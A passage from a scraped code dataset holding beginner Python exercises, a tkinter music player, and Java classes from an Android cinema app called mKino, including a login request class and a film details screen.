self.value\\r\\n else:\\r\\n return self.value\\r\\n\\r\\ncal = MaxLimitCalculator()\\r\\n\\r\\nprint(cal.add(60))\\r\\nprint(cal.add(30))\\r\\nprint(cal.add(20))\\r\\nprint(cal.add(50))\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.4545454680919647,\n \"alphanum_fraction\": 0.6000000238418579,\n \"avg_line_length\": 16.33333396911621,\n \"blob_id\": \"fb92014f9e3878dc63b19f5b39d06f42bd6cb387\",\n \"content_id\": \"6346c1e3ba192828c18a07594a43e02cab5e51b5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 55,\n \"license_type\": \"no_license\",\n \"max_line_length\": 20,\n \"num_lines\": 3,\n \"path\": \"/code/8.txt\",\n \"repo_name\": \"yeeun0507/likelion_python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"tupel1 = (1,2,3)\\r\\ntuple2 = (4,)\\r\\nprint(tuple1=tuple2)\\r\\n\"\n },\n {\n \"alpha_fraction\": 0.4390243887901306,\n \"alphanum_fraction\": 0.6097561120986938,\n \"avg_line_length\": 33.28571319580078,\n \"blob_id\": \"bca499d396186fcc56edd3ab14a616b844b20319\",\n \"content_id\": \"7840811ca114cd5f0ce6c000985a17a262d8f556\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 246,\n \"license_type\": \"no_license\",\n \"max_line_length\": 94,\n \"num_lines\": 7,\n \"path\": \"/code/1.py\",\n \"repo_name\": \"yeeun0507/likelion_python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"Python 3.8.3 (tags/v3.8.3:6f8c832, May 13 2020, 22:37:02) [MSC v.1924 64 bit (AMD64)] on win32\\r\\nType \\\"help\\\", \\\"copyright\\\", \\\"credits\\\" or \\\"license()\\\" for more information.\\r\\n>>> i= [80,75,55]\\r\\n>>> result = sum(i)\\r\\n>>> print(result/len(i))\\r\\n70.0\\r\\n>>> \"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":9,"string":"9"}}},{"rowIdx":2978340,"cells":{"repo_name":{"kind":"string","value":"SudhanshuVijay/music-player-using-python"},"repo_url":{"kind":"string","value":"https://github.com/SudhanshuVijay/music-player-using-python"},"snapshot_id":{"kind":"string","value":"6b95ba2a42528d4246eb3a6e52ead1e4bd669691"},"revision_id":{"kind":"string","value":"e691747390b519e457a8f13318e7e401ad192866"},"directory_id":{"kind":"string","value":"7386e79e5d70af48407c0ae56cee49722743132c"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2022-12-25T20:41:05.487435","string":"2022-12-25T20:41:05.487435"},"revision_date":{"kind":"timestamp","value":"2020-10-01T07:07:55","string":"2020-10-01T07:07:55"},"committer_date":{"kind":"timestamp","value":"2020-10-01T07:07:55","string":"2020-10-01T07:07:55"},"github_id":{"kind":"number","value":300167035,"string":"300,167,035"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":2,"string":"2"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"timestamp","value":"2020-10-01T06:12:31","string":"2020-10-01T06:12:31"},"gha_updated_at":{"kind":"timestamp","value":"2020-10-01T06:57:50","string":"2020-10-01T06:57:50"},"gha_pushed_at":{"kind":"timestamp","value":"2020-10-01T07:07:55","string":"2020-10-01T07:07:55"},"gha_language":{"kind":"string","value":"Python"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6302149295806885,"alphanum_fraction":0.6433312296867371,"avg_line_length":24.476987838745117,"blob_id":"6ee1e597ba6942073568e0c7583fe67f667c575e","content_id":"3036aa9bed34fff321bc7d1f22977db8d1a35b40","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":6328,"license_type":"no_license","max_line_length":115,"num_lines":239,"path":"/melody.py","repo_name":"SudhanshuVijay/music-player-using-python","src_encoding":"UTF-8","text":"import os\r\nfrom tkinter import *\r\n#HELLO BOYYS\r\nfrom tkinter import ttk\r\nfrom ttkthemes import themed_tk as tk\r\n\r\nimport tkinter.messagebox\r\nfrom tkinter import filedialog\r\nfrom pygame import mixer\r\nfrom mutagen.mp3 import MP3\r\nimport time\r\nimport threading\r\n\r\nroot = tk.ThemedTk()\r\n\r\nroot.get_themes()\r\nroot.set_theme(\"radiance\")\r\n\r\nmixer.init() # initializing the mixer\r\nroot.title(\"Melody\")\r\nroot.iconbitmap(r'images/melody.ico')\r\n\r\nstatusbar = Label(root, text=\"Wlcome To Melody\", relief=SUNKEN, anchor=W, font=\"Times 15 italic\")\r\nstatusbar.pack(side=BOTTOM, fill=X)\r\n\r\nfilelabel = ttk.Label(root, text='Welcome')\r\nfilelabel.pack()\r\n\r\nlengthlabel = ttk.Label(root, text='Total Length - --:--')\r\nlengthlabel.pack(pady=5)\r\n\r\ncurrenttimelabel = ttk.Label(root, text='Current Time - --:--', relief=GROOVE)\r\ncurrenttimelabel.pack()\r\n\r\n\r\nmenubar = Menu(root)\r\nroot.config(menu=menubar)\r\n\r\nsubMenu = Menu(menubar, tearoff=0)\r\n\r\nplaylist = []\r\n\r\n\r\ndef brows_file():\r\n global filename_path\r\n filename_path = filedialog.askopenfilename()\r\n add_to_playlist(filename_path)\r\n\r\n\r\ndef add_to_playlist(filename):\r\n filename = os.path.basename(filename)\r\n index = 0\r\n playlistbox.insert(index, filename)\r\n playlist.insert(index, filename_path)\r\n index += 1\r\n\r\n\r\nmenubar.add_cascade(label=\"File\", menu=subMenu)\r\nsubMenu.add_command(label='Open', command=brows_file)\r\nsubMenu.add_command(label='Exit', command=root.destroy)\r\n\r\n\r\ndef About_us():\r\n tkinter.messagebox.showinfo('About Melody', 'This is a music player, build using python tkinter by Sudhanshu Vijay')\r\n\r\n\r\nsubMenu = Menu(menubar, tearoff=0)\r\nmenubar.add_cascade(label=\"Help\", menu=subMenu)\r\nsubMenu.add_command(label='About Us', command=About_us)\r\n\r\nright_frame = Frame(root)\r\nright_frame.pack(side=RIGHT, pady=30)\r\n\r\nleft_frame = Frame(root)\r\nleft_frame.pack(side=LEFT, padx=30, pady=30)\r\n\r\ntop_frame = Frame(right_frame)\r\ntop_frame.pack()\r\n\r\nplaylistbox = Listbox(left_frame)\r\nplaylistbox.pack()\r\n\r\nadd_btn = ttk.Button(left_frame, text=\"+ Add\", command=brows_file)\r\nadd_btn.pack(side=LEFT)\r\n\r\n\r\ndef del_song():\r\n selected_song = playlistbox.curselection()\r\n selected_song = int(selected_song[0])\r\n playlistbox.delete(selected_song)\r\n playlist.pop(selected_song)\r\n\r\n\r\ndel_btn = ttk.Button(left_frame, text=\"- Del\", command=del_song)\r\ndel_btn.pack(side=LEFT)\r\n\r\n\r\ndef show_details(play_song):\r\n filelabel['text'] = \"Playing\" + ' - ' + os.path.basename(play_song)\r\n file_data = os.path.splitext(play_song)\r\n if file_data[1] == '.mp3':\r\n audio = MP3(play_song)\r\n total_length = audio.info.length\r\n else:\r\n a = mixer.Sound(play_song)\r\n total_length = a.get_length()\r\n\r\n mins, secs = divmod(total_length, 60)\r\n mins = round(mins)\r\n secs = round(secs)\r\n timeformat = '{:02d}:{:02d}'.format(mins, secs)\r\n lengthlabel['text'] = \"Total Length\" + ' - ' + timeformat\r\n\r\n t1 = threading.Thread(target=start_count, args=(total_length,))\r\n t1.start()\r\n\r\n\r\ndef start_count(t):\r\n global paused\r\n current_time = 0\r\n while current_time <= t and mixer.music.get_busy():\r\n if paused:\r\n continue\r\n else:\r\n mins, secs = divmod(current_time, 60)\r\n mins = round(mins)\r\n secs = round(secs)\r\n timeformat = '{:02d}:{:02d}'.format(mins, secs)\r\n currenttimelabel['text'] = \"Current Length\" + ' - ' + timeformat\r\n time.sleep(1)\r\n current_time += 1\r\n\r\n\r\ndef play_music():\r\n global paused\r\n\r\n if paused:\r\n mixer.music.unpause()\r\n statusbar['text'] = \"Music Resumed...\"\r\n paused = FALSE\r\n else:\r\n try:\r\n stop_music()\r\n time.sleep(1)\r\n selected_song = playlistbox.curselection()\r\n selected_song = int(selected_song[0])\r\n play_it = playlist[selected_song]\r\n mixer.music.load(play_it)\r\n mixer.music.play()\r\n statusbar['text'] = \"Playing Music...\" + ' ' + os.path.basename(play_it)\r\n show_details(play_it)\r\n except:\r\n tkinter.messagebox.showerror('File Not Found', 'Melody Could Not Find The File. Please Check It Again')\r\n\r\n\r\ndef stop_music():\r\n mixer.music.stop()\r\n statusbar['text'] = \"Music Stopped...\"\r\n\r\n\r\npaused = FALSE\r\n\r\n\r\ndef pause_music():\r\n global paused\r\n paused = TRUE\r\n mixer.music.pause()\r\n statusbar['text'] = \"Music Paused...\"\r\n\r\n\r\ndef rewind_music():\r\n play_music()\r\n statusbar['text'] = \"Music Rewinded...\"\r\n\r\n\r\ndef set_vol(val):\r\n volume = float(val) / 100\r\n mixer.music.set_volume(volume)\r\n\r\n\r\nmuted = FALSE\r\n\r\n\r\ndef mute_music():\r\n global muted\r\n if muted:\r\n mixer.music.set_volume(0.5)\r\n volumeButton.configure(image=volume_photo)\r\n scale.set(50)\r\n muted = FALSE\r\n else:\r\n mixer.music.set_volume(0)\r\n volumeButton.configure(image=mute_photo)\r\n scale.set(0)\r\n muted = TRUE\r\n\r\n\r\nmiddleframe = Frame(right_frame)\r\nmiddleframe.pack(pady=30, padx=30)\r\n\r\nplay_photo = PhotoImage(file='images/play.png')\r\nplayButton = ttk.Button(middleframe, image=play_photo, command=play_music)\r\nplayButton.grid(row=0, column=0, padx=10)\r\n\r\nstop_photo = PhotoImage(file='images/stop.png')\r\nstopButton = ttk.Button(middleframe, image=stop_photo, command=stop_music)\r\nstopButton.grid(row=0, column=1, padx=10)\r\n\r\npause_photo = PhotoImage(file='images/pause.png')\r\npauseButton = ttk.Button(middleframe, image=pause_photo, command=pause_music)\r\npauseButton.grid(row=0, column=2, padx=10)\r\n\r\nbottomframe = Frame(right_frame)\r\nbottomframe.pack(pady=10)\r\n\r\nrewind_photo = PhotoImage(file='images/rewind.png')\r\nrewindButton = ttk.Button(bottomframe, image=rewind_photo, command=rewind_music)\r\nrewindButton.grid(row=0, column=0)\r\n\r\nmute_photo = PhotoImage(file='images/mute.png')\r\nvolume_photo = PhotoImage(file='images/volume.png')\r\nvolumeButton = ttk.Button(bottomframe, image=volume_photo, command=mute_music)\r\nvolumeButton.grid(row=0, column=1)\r\n\r\nscale = ttk.Scale(bottomframe, from_=0, to=100, orient=HORIZONTAL, command=set_vol)\r\nscale.set(50)\r\nmixer.music.set_volume(0.5)\r\nscale.grid(row=0, column=2, pady=15, padx=30)\r\n\r\n\r\ndef on_closing():\r\n stop_music()\r\n root.destroy()\r\n\r\n\r\nroot.protocol(\"WM_DELETE_WINDOW\", on_closing)\r\n\r\nroot.mainloop()\r\n#nice job\r\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6302149295806885,\n \"alphanum_fraction\": 0.6433312296867371,\n \"avg_line_length\": 24.476987838745117,\n \"blob_id\": \"6ee1e597ba6942073568e0c7583fe67f667c575e\",\n \"content_id\": \"3036aa9bed34fff321bc7d1f22977db8d1a35b40\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 6328,\n \"license_type\": \"no_license\",\n \"max_line_length\": 115,\n \"num_lines\": 239,\n \"path\": \"/melody.py\",\n \"repo_name\": \"SudhanshuVijay/music-player-using-python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import os\\r\\nfrom tkinter import *\\r\\n#HELLO BOYYS\\r\\nfrom tkinter import ttk\\r\\nfrom ttkthemes import themed_tk as tk\\r\\n\\r\\nimport tkinter.messagebox\\r\\nfrom tkinter import filedialog\\r\\nfrom pygame import mixer\\r\\nfrom mutagen.mp3 import MP3\\r\\nimport time\\r\\nimport threading\\r\\n\\r\\nroot = tk.ThemedTk()\\r\\n\\r\\nroot.get_themes()\\r\\nroot.set_theme(\\\"radiance\\\")\\r\\n\\r\\nmixer.init() # initializing the mixer\\r\\nroot.title(\\\"Melody\\\")\\r\\nroot.iconbitmap(r'images/melody.ico')\\r\\n\\r\\nstatusbar = Label(root, text=\\\"Wlcome To Melody\\\", relief=SUNKEN, anchor=W, font=\\\"Times 15 italic\\\")\\r\\nstatusbar.pack(side=BOTTOM, fill=X)\\r\\n\\r\\nfilelabel = ttk.Label(root, text='Welcome')\\r\\nfilelabel.pack()\\r\\n\\r\\nlengthlabel = ttk.Label(root, text='Total Length - --:--')\\r\\nlengthlabel.pack(pady=5)\\r\\n\\r\\ncurrenttimelabel = ttk.Label(root, text='Current Time - --:--', relief=GROOVE)\\r\\ncurrenttimelabel.pack()\\r\\n\\r\\n\\r\\nmenubar = Menu(root)\\r\\nroot.config(menu=menubar)\\r\\n\\r\\nsubMenu = Menu(menubar, tearoff=0)\\r\\n\\r\\nplaylist = []\\r\\n\\r\\n\\r\\ndef brows_file():\\r\\n global filename_path\\r\\n filename_path = filedialog.askopenfilename()\\r\\n add_to_playlist(filename_path)\\r\\n\\r\\n\\r\\ndef add_to_playlist(filename):\\r\\n filename = os.path.basename(filename)\\r\\n index = 0\\r\\n playlistbox.insert(index, filename)\\r\\n playlist.insert(index, filename_path)\\r\\n index += 1\\r\\n\\r\\n\\r\\nmenubar.add_cascade(label=\\\"File\\\", menu=subMenu)\\r\\nsubMenu.add_command(label='Open', command=brows_file)\\r\\nsubMenu.add_command(label='Exit', command=root.destroy)\\r\\n\\r\\n\\r\\ndef About_us():\\r\\n tkinter.messagebox.showinfo('About Melody', 'This is a music player, build using python tkinter by Sudhanshu Vijay')\\r\\n\\r\\n\\r\\nsubMenu = Menu(menubar, tearoff=0)\\r\\nmenubar.add_cascade(label=\\\"Help\\\", menu=subMenu)\\r\\nsubMenu.add_command(label='About Us', command=About_us)\\r\\n\\r\\nright_frame = Frame(root)\\r\\nright_frame.pack(side=RIGHT, pady=30)\\r\\n\\r\\nleft_frame = Frame(root)\\r\\nleft_frame.pack(side=LEFT, padx=30, pady=30)\\r\\n\\r\\ntop_frame = Frame(right_frame)\\r\\ntop_frame.pack()\\r\\n\\r\\nplaylistbox = Listbox(left_frame)\\r\\nplaylistbox.pack()\\r\\n\\r\\nadd_btn = ttk.Button(left_frame, text=\\\"+ Add\\\", command=brows_file)\\r\\nadd_btn.pack(side=LEFT)\\r\\n\\r\\n\\r\\ndef del_song():\\r\\n selected_song = playlistbox.curselection()\\r\\n selected_song = int(selected_song[0])\\r\\n playlistbox.delete(selected_song)\\r\\n playlist.pop(selected_song)\\r\\n\\r\\n\\r\\ndel_btn = ttk.Button(left_frame, text=\\\"- Del\\\", command=del_song)\\r\\ndel_btn.pack(side=LEFT)\\r\\n\\r\\n\\r\\ndef show_details(play_song):\\r\\n filelabel['text'] = \\\"Playing\\\" + ' - ' + os.path.basename(play_song)\\r\\n file_data = os.path.splitext(play_song)\\r\\n if file_data[1] == '.mp3':\\r\\n audio = MP3(play_song)\\r\\n total_length = audio.info.length\\r\\n else:\\r\\n a = mixer.Sound(play_song)\\r\\n total_length = a.get_length()\\r\\n\\r\\n mins, secs = divmod(total_length, 60)\\r\\n mins = round(mins)\\r\\n secs = round(secs)\\r\\n timeformat = '{:02d}:{:02d}'.format(mins, secs)\\r\\n lengthlabel['text'] = \\\"Total Length\\\" + ' - ' + timeformat\\r\\n\\r\\n t1 = threading.Thread(target=start_count, args=(total_length,))\\r\\n t1.start()\\r\\n\\r\\n\\r\\ndef start_count(t):\\r\\n global paused\\r\\n current_time = 0\\r\\n while current_time <= t and mixer.music.get_busy():\\r\\n if paused:\\r\\n continue\\r\\n else:\\r\\n mins, secs = divmod(current_time, 60)\\r\\n mins = round(mins)\\r\\n secs = round(secs)\\r\\n timeformat = '{:02d}:{:02d}'.format(mins, secs)\\r\\n currenttimelabel['text'] = \\\"Current Length\\\" + ' - ' + timeformat\\r\\n time.sleep(1)\\r\\n current_time += 1\\r\\n\\r\\n\\r\\ndef play_music():\\r\\n global paused\\r\\n\\r\\n if paused:\\r\\n mixer.music.unpause()\\r\\n statusbar['text'] = \\\"Music Resumed...\\\"\\r\\n paused = FALSE\\r\\n else:\\r\\n try:\\r\\n stop_music()\\r\\n time.sleep(1)\\r\\n selected_song = playlistbox.curselection()\\r\\n selected_song = int(selected_song[0])\\r\\n play_it = playlist[selected_song]\\r\\n mixer.music.load(play_it)\\r\\n mixer.music.play()\\r\\n statusbar['text'] = \\\"Playing Music...\\\" + ' ' + os.path.basename(play_it)\\r\\n show_details(play_it)\\r\\n except:\\r\\n tkinter.messagebox.showerror('File Not Found', 'Melody Could Not Find The File. Please Check It Again')\\r\\n\\r\\n\\r\\ndef stop_music():\\r\\n mixer.music.stop()\\r\\n statusbar['text'] = \\\"Music Stopped...\\\"\\r\\n\\r\\n\\r\\npaused = FALSE\\r\\n\\r\\n\\r\\ndef pause_music():\\r\\n global paused\\r\\n paused = TRUE\\r\\n mixer.music.pause()\\r\\n statusbar['text'] = \\\"Music Paused...\\\"\\r\\n\\r\\n\\r\\ndef rewind_music():\\r\\n play_music()\\r\\n statusbar['text'] = \\\"Music Rewinded...\\\"\\r\\n\\r\\n\\r\\ndef set_vol(val):\\r\\n volume = float(val) / 100\\r\\n mixer.music.set_volume(volume)\\r\\n\\r\\n\\r\\nmuted = FALSE\\r\\n\\r\\n\\r\\ndef mute_music():\\r\\n global muted\\r\\n if muted:\\r\\n mixer.music.set_volume(0.5)\\r\\n volumeButton.configure(image=volume_photo)\\r\\n scale.set(50)\\r\\n muted = FALSE\\r\\n else:\\r\\n mixer.music.set_volume(0)\\r\\n volumeButton.configure(image=mute_photo)\\r\\n scale.set(0)\\r\\n muted = TRUE\\r\\n\\r\\n\\r\\nmiddleframe = Frame(right_frame)\\r\\nmiddleframe.pack(pady=30, padx=30)\\r\\n\\r\\nplay_photo = PhotoImage(file='images/play.png')\\r\\nplayButton = ttk.Button(middleframe, image=play_photo, command=play_music)\\r\\nplayButton.grid(row=0, column=0, padx=10)\\r\\n\\r\\nstop_photo = PhotoImage(file='images/stop.png')\\r\\nstopButton = ttk.Button(middleframe, image=stop_photo, command=stop_music)\\r\\nstopButton.grid(row=0, column=1, padx=10)\\r\\n\\r\\npause_photo = PhotoImage(file='images/pause.png')\\r\\npauseButton = ttk.Button(middleframe, image=pause_photo, command=pause_music)\\r\\npauseButton.grid(row=0, column=2, padx=10)\\r\\n\\r\\nbottomframe = Frame(right_frame)\\r\\nbottomframe.pack(pady=10)\\r\\n\\r\\nrewind_photo = PhotoImage(file='images/rewind.png')\\r\\nrewindButton = ttk.Button(bottomframe, image=rewind_photo, command=rewind_music)\\r\\nrewindButton.grid(row=0, column=0)\\r\\n\\r\\nmute_photo = PhotoImage(file='images/mute.png')\\r\\nvolume_photo = PhotoImage(file='images/volume.png')\\r\\nvolumeButton = ttk.Button(bottomframe, image=volume_photo, command=mute_music)\\r\\nvolumeButton.grid(row=0, column=1)\\r\\n\\r\\nscale = ttk.Scale(bottomframe, from_=0, to=100, orient=HORIZONTAL, command=set_vol)\\r\\nscale.set(50)\\r\\nmixer.music.set_volume(0.5)\\r\\nscale.grid(row=0, column=2, pady=15, padx=30)\\r\\n\\r\\n\\r\\ndef on_closing():\\r\\n stop_music()\\r\\n root.destroy()\\r\\n\\r\\n\\r\\nroot.protocol(\\\"WM_DELETE_WINDOW\\\", on_closing)\\r\\n\\r\\nroot.mainloop()\\r\\n#nice job\\r\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2978341,"cells":{"repo_name":{"kind":"string","value":"dsitum/mKino"},"repo_url":{"kind":"string","value":"https://github.com/dsitum/mKino"},"snapshot_id":{"kind":"string","value":"656a8ae731f135812652b8387acf491e64de6498"},"revision_id":{"kind":"string","value":"c3949ccec32acb8de02c304650e172e31856b4a3"},"directory_id":{"kind":"string","value":"aa931c8defd510b09bfc6b2bb66d1f6d5bd59b0e"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-10T20:14:04.890411","string":"2021-01-10T20:14:04.890411"},"revision_date":{"kind":"timestamp","value":"2015-02-08T23:54:11","string":"2015-02-08T23:54:11"},"committer_date":{"kind":"timestamp","value":"2015-02-08T23:54:11","string":"2015-02-08T23:54:11"},"github_id":{"kind":"number","value":30510699,"string":"30,510,699"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6917840242385864,"alphanum_fraction":0.6927229762077332,"avg_line_length":31.543306350708008,"blob_id":"3382a9dd957f4735757d9e78353d4a9fe9a215ff","content_id":"1c67a72d0b0192003e4fe8dc43408b396b1f8249","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":4277,"license_type":"no_license","max_line_length":105,"num_lines":127,"path":"/client-side/src/hr/air/mkino/server/JsonPrijava.java","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"package hr.air.mkino.server;\r\n\r\nimport java.io.IOException;\r\nimport java.util.ArrayList;\r\nimport java.util.List;\r\nimport java.util.concurrent.ExecutionException;\r\n\r\nimport org.apache.http.NameValuePair;\r\nimport org.apache.http.client.ClientProtocolException;\r\nimport org.apache.http.client.HttpClient;\r\nimport org.apache.http.client.ResponseHandler;\r\nimport org.apache.http.client.entity.UrlEncodedFormEntity;\r\nimport org.apache.http.client.methods.HttpPost;\r\nimport org.apache.http.impl.client.BasicResponseHandler;\r\nimport org.apache.http.impl.client.DefaultHttpClient;\r\nimport org.apache.http.message.BasicNameValuePair;\r\nimport org.json.JSONArray;\r\nimport org.json.JSONException;\r\nimport org.json.JSONObject;\r\n\r\nimport hr.air.mkino.tipovi.Korisnik;\r\nimport android.os.AsyncTask;\r\n/**\r\n * klasa koja služi za prijavu korisnika u sustav uz pomoć asinkrone komunikacije \r\n * između aplikacije i servisa koji provjerava da li postoji korisnik u bazi \r\n * podataka sa navedenim korisničkim imenom i lozinkom\r\n * \r\n * */\r\npublic class JsonPrijava extends AsyncTask<String, Korisnik, String> {\r\n\r\n\t\t/**\r\n\t\t * Metoda koja izvršava provjeru korisnika uz pomoć servisa\r\n\t\t * @param korisnicko ime i odgovarajuća lozinka\r\n\t\t * @return popunjeni objekt tipa Korisnik(korisnickoIme, \"\", ime, prezime, email, telefon) \r\n\t\t * ukoliko je prijava uspjesna ili null ukoliko prijava nije uspješna\r\n\t\t */\r\n\t\tpublic Korisnik prijavi(String korisnickoIme, String lozinka)\r\n\t\t{\t\t\t\r\n\t\t\tthis.execute(korisnickoIme,lozinka );\r\n\t\t\tString jsonRezultat = \"\";\r\n\t\t\ttry {\r\n\t\t\t\tjsonRezultat = this.get();\r\n\t\t\t} catch (InterruptedException e) {\r\n\t\t\t\t\r\n\t\t\t\te.printStackTrace();\r\n\t\t\t} catch (ExecutionException e) {\r\n\t\t\t\t\r\n\t\t\t\te.printStackTrace();\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\treturn parsirajJson(jsonRezultat);\t\t\t\r\n\t\t}\r\n\r\n\t\t/**\r\n\t\t * Parsira json string dohvaćen s web servisa\r\n\t\t * @param jsonRezultat\r\n\t\t * @return popunjeni objekt tipa Korisnik(korisnickoIme, \"\", ime, prezime, email, telefon) \r\n\t\t * ukoliko je prijava uspjesna ili null ukoliko prijava nije uspjesna\r\n\t\t */\r\n\t\tprivate Korisnik parsirajJson(String jsonRezultat) {\t\t\r\n\t\t\tKorisnik korisnik = null;\r\n\t\t\t\r\n\t\t\ttry {\r\n\t\t\t\t\tJSONArray rezultati = new JSONArray(jsonRezultat);\r\n\t\t\t\t\tint n = rezultati.length();\r\n\t\t\t\t\tfor(int i=0; i<n; i++)\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tJSONObject rezultat = rezultati.getJSONObject(i);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tString korisnickoIme = rezultat.getString(\"korisnickoIme\");\r\n\t\t\t\t\t\t/*lozinka se ne dohvaća putem web servisa*/\r\n\t\t\t\t\t\tString lozinka = \"\";\r\n\t\t\t\t\t\tString ime = rezultat.getString(\"ime\");\r\n\t\t\t\t\t\tString prezime = rezultat.getString(\"prezime\");\r\n\t\t\t\t\t\tString email = rezultat.getString(\"email\");\r\n\t\t\t\t\t\tString telefon = rezultat.getString(\"telefon\");\r\n\t\t\t\t\t\t/*unošenje primljenih korisničkih podataka u objekt*/\r\n\t\t\t\t\t\tkorisnik = new Korisnik(korisnickoIme, lozinka, ime, prezime, email, telefon);\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t}\t\t\t\r\n\t\t\tcatch (JSONException e) {\t\r\n\t\t\t/*\r\n\t\t\t * izvršava se ukoliko prijava nije uspješna, odnosno ne postoji\r\n\t\t\t * korisnik sa traženim korisničkim imenom i lozinkom\r\n\t\t\t * */\r\n\t\t\t\te.printStackTrace();\t\t\t\t\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\treturn korisnik;\r\n\t\t}\r\n\r\n\t\t/**\r\n\t\t * Metoda za asinkronu komunikaciju između aplikacije i servisa.\r\n\t\t * @param korisnicko ime i lozinka u obliku ArrayList\r\n\t\t * @return odgovor servisa u json obliku\r\n\t\t * */\r\n\t\tprotected String doInBackground(String... podaciPrijava) {\r\n\t\t\tHttpClient httpKlijent = new DefaultHttpClient();\r\n\t\t \r\n\t\t\tHttpPost httpPostZahtjev = new HttpPost(\"http://mkinoairprojekt.me.pn/skripte/index.php?tip=prijava\");\r\n\t\t\tString jsonResult = \"\";\r\n\t\t\tResponseHandler<String> handler = new BasicResponseHandler();\r\n\t\t\t\r\n\t\t\t\r\n\t\t\ttry {\r\n\t\t\t\tList<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>(2);\r\n\t\t\t nameValuePairs.add(new BasicNameValuePair(\"korisnickoIme\", podaciPrijava[0]));\r\n\t\t\t nameValuePairs.add(new BasicNameValuePair(\"lozinka\", podaciPrijava[1]));\r\n\t\t\t \r\n\t\t\t httpPostZahtjev.setEntity(new UrlEncodedFormEntity(nameValuePairs));\t\t\t \r\n\t\t\t\tjsonResult = httpKlijent.execute(httpPostZahtjev, handler);\r\n\t\t\t}\r\n\t\t\tcatch(ClientProtocolException e){\r\n\t\t\t\te.printStackTrace();\r\n\t\t\t}\r\n\t\t\tcatch(IOException e){\r\n\t\t\t\te.printStackTrace();\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\thttpKlijent.getConnectionManager().shutdown();\r\n\t\t\treturn jsonResult;\r\n\t\t}\r\n\r\n\t\r\n\r\n}\r\n"},{"alpha_fraction":0.7505054473876953,"alphanum_fraction":0.7509098052978516,"avg_line_length":36.640625,"blob_id":"f864e450a6053149816001ae2ad2f2c43049eedf","content_id":"0f33a36312dd114d680d4258c9b4b664f0a80c36","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Java","length_bytes":2479,"license_type":"no_license","max_line_length":135,"num_lines":64,"path":"/client-side/src/hr/air/mkino/DetaljiFilmaActivity.java","repo_name":"dsitum/mKino","src_encoding":"WINDOWS-1250","text":"package hr.air.mkino;\r\n\r\nimport hr.air.mkino.baza.FilmoviAdapter;\r\nimport hr.air.mkino.sucelja.ISlikaFilma;\r\nimport hr.air.mkino.tipovi.FilmInfo;\r\nimport hr.air.mkino.uzorcidizajna.UcitajSlikuFactory;\r\nimport android.app.Activity;\r\nimport android.content.Intent;\r\nimport android.os.Bundle;\r\nimport android.widget.ImageView;\r\nimport android.widget.TextView;\r\n\r\n/**\r\n * Ova klasa predstavlja detalje pojedinog filma.\r\n * @author domagoj\r\n *\r\n */\r\npublic class DetaljiFilmaActivity extends Activity {\r\n\t@Override\r\n\tprotected void onCreate(Bundle savedInstanceState) {\r\n\t\tsuper.onCreate(savedInstanceState);\r\n\t\tsetContentView(R.layout.activity_detalji_filma);\r\n\t\tsetTitle(\"Detalji filma\");\r\n\t\t\r\n\t\tFilmInfo detaljiFilma = dohvatiPodatkeZaFilm();\r\n\t\tprikaziPodatkeZaFilm(detaljiFilma);\r\n\t}\r\n\r\n\t/**\r\n\t * Dohvaća podatke filma koji uključuju naziv, glavne uloge, autora itd.\r\n\t * ID filma prima pomoću podataka iz intenta, koji su poslani klikom na film sa liste svih aktualnih filmova (klasa AkutalnoActivity).\r\n\t * @return podaci o filmu\r\n\t */\r\n\tprivate FilmInfo dohvatiPodatkeZaFilm() {\r\n\t\tIntent i = getIntent();\r\n\t\tint idFilmaUBazi = i.getIntExtra(\"idFilmaUBazi\", 0);\r\n\t\t\r\n\t\tFilmoviAdapter fa = new FilmoviAdapter(this);\r\n\t\treturn fa.dohvatiDetaljeFilma(idFilmaUBazi);\r\n\t}\r\n\t\r\n\t/**\r\n\t * Ispisuje na zaslonu informacije sve dohvaćene o filmu, uključujući i sliku filma.\r\n\t * @param detaljiFilma predstavlja informacije o filmu koje treba ispisati na zaslon\r\n\t */\r\n\tprivate void prikaziPodatkeZaFilm(FilmInfo detaljiFilma) {\r\n\t\tTextView naslov = (TextView) findViewById(R.id.naslov_filma);\r\n\t\tTextView trajanje = (TextView) findViewById(R.id.detalji_filma_trajanje);\r\n\t\tTextView zanr = (TextView) findViewById(R.id.detalji_filma_zanr);\r\n\t\tTextView redatelj = (TextView) findViewById(R.id.detalji_filma_redatelj);\r\n\t\tTextView glavneUloge = (TextView) findViewById(R.id.detalji_filma_glumci);\r\n\t\tTextView opis = (TextView) 